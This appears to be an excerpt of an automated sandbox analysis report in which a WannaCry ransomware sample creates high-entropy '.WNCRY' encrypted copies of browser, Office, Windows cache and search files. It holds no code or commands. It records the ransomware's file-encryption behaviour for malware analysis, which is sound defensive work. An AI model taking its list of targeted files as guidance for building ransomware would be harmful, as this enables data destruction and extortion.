Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRY (copy) entropy: 7.99988432536	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRY (copy) entropy: 7.99946177844	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRY (copy) entropy: 7.99931924001	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRY (copy) entropy: 7.99973695738	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRY (copy) entropy: 7.9962748574	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRY (copy) entropy: 7.99784120017	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99903398033	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRY (copy) entropy: 7.99916407002	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRY (copy) entropy: 7.99827699961	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRY (copy) entropy: 7.99866182586	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133556788209046880.txt.WNCRY (copy) entropy: 7.99849122671	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133556788503660237.txt.WNCRY (copy) entropy: 7.9984883625	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRY (copy) entropy: 7.99975186377	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.WNCRY (copy) entropy: 7.9919612542	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRY (copy) entropy: 7.99981275091	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRY (copy) entropy: 7.99648727058	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.WNCRY (copy) entropy: 7.99093301689	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRY (copy) entropy: 7.99300407594	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRY (copy) entropy: 7.99029303433	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRY (copy) entropy: 7.9921522433	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRY (copy) entropy: 7.99471300322	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRY (copy) entropy: 7.99274564856	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRY (copy) entropy: 7.99775739374	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRY (copy) entropy: 7.99985345761	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRY (copy) entropy: 7.99981081909	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRY (copy) entropy: 7.99983863305	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRY (copy) entropy: 7.99989229228	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRY (copy) entropy: 7.9977352683	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRY (copy) entropy: 7.99984585845	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shopping.js.WNCRY (copy) entropy: 7.99996397914	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\shoppingfre.js.WNCRY (copy) entropy: 7.99950765031	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\edge_driver.js.WNCRY (copy) entropy: 7.99990418986	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRY (copy) entropy: 7.99388027995	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRY (copy) entropy: 7.99987275815	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRY (copy) entropy: 7.99994618303	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\bnpl\bnpl.bundle.js.WNCRY (copy) entropy: 7.99976009055	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Mini-Wallet\miniwallet.bundle.js.WNCRY (copy) entropy: 7.99956665427	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRY (copy) entropy: 7.99962678338	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRY (copy) entropy: 7.99947497095	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRY (copy) entropy: 7.99959934714	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRY (copy) entropy: 7.99986337067	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db.WNCRY (copy) entropy: 7.99296596287	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db.WNCRY (copy) entropy: 7.99307418223	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db.WNCRY (copy) entropy: 7.9923050146	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db.WNCRY (copy) entropy: 7.99274076183	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db.WNCRY (copy) entropy: 7.99042253799	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY (copy) entropy: 7.99959135047	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000015.db.WNCRY (copy) entropy: 7.99847969771	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRY (copy) entropy: 7.99842769341	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRY (copy) entropy: 7.99754370481	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRY (copy) entropy: 7.99979079866	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRY (copy) entropy: 7.99994795114	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRY (copy) entropy: 7.99991740428	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRY (copy) entropy: 7.9998173688	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRY (copy) entropy: 7.99634112935	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRY (copy) entropy: 7.99983996973	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRY (copy) entropy: 7.99982398938	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRY (copy) entropy: 7.99982493577	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRY (copy) entropy: 7.99983253865	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRY (copy) entropy: 7.99996595789	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRY (copy) entropy: 7.99390075091	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRY (copy) entropy: 7.99957246403	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRY (copy) entropy: 7.99953815761	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRY (copy) entropy: 7.99899626123	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRY (copy) entropy: 7.99486309129	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRY (copy) entropy: 7.99488676091	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRY (copy) entropy: 7.99982678579	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRY (copy) entropy: 7.9922177956	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRY (copy) entropy: 7.99521947637	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRY (copy) entropy: 7.9903807642	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRY (copy) entropy: 7.99763430975	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRY (copy) entropy: 7.99624977378	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\pwa-vendor-bundle-ba2888a24179bf152f3d[1].js.WNCRY (copy) entropy: 7.99973382747	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\otel-logger-104bffe9378b8041455c[1].js.WNCRY (copy) entropy: 7.99792319314	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-bundle-3a99f64809c6780df035[1].js.WNCRY (copy) entropy: 7.99986403796	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\pwa-forms-group~mru~officeforms-group-forms~officeforms-my-forms~places.bcdc404c7fe22f14ccad.chunk.v7[1].js.WNCRY (copy) entropy: 7.99575075235	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\sharedscripts-939520eada[1].js.WNCRY (copy) entropy: 7.99615316369	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\OB7JJZIK\staticpwascripts-30998bff8f[1].js.WNCRY (copy) entropy: 7.99033781663	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\Temp1_Ransomware.WannaCry.zip\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AppData\CacheStorage\CacheStorage.edb.WNCRY (copy) entropy: 7.99987830596	Jump to dropped file
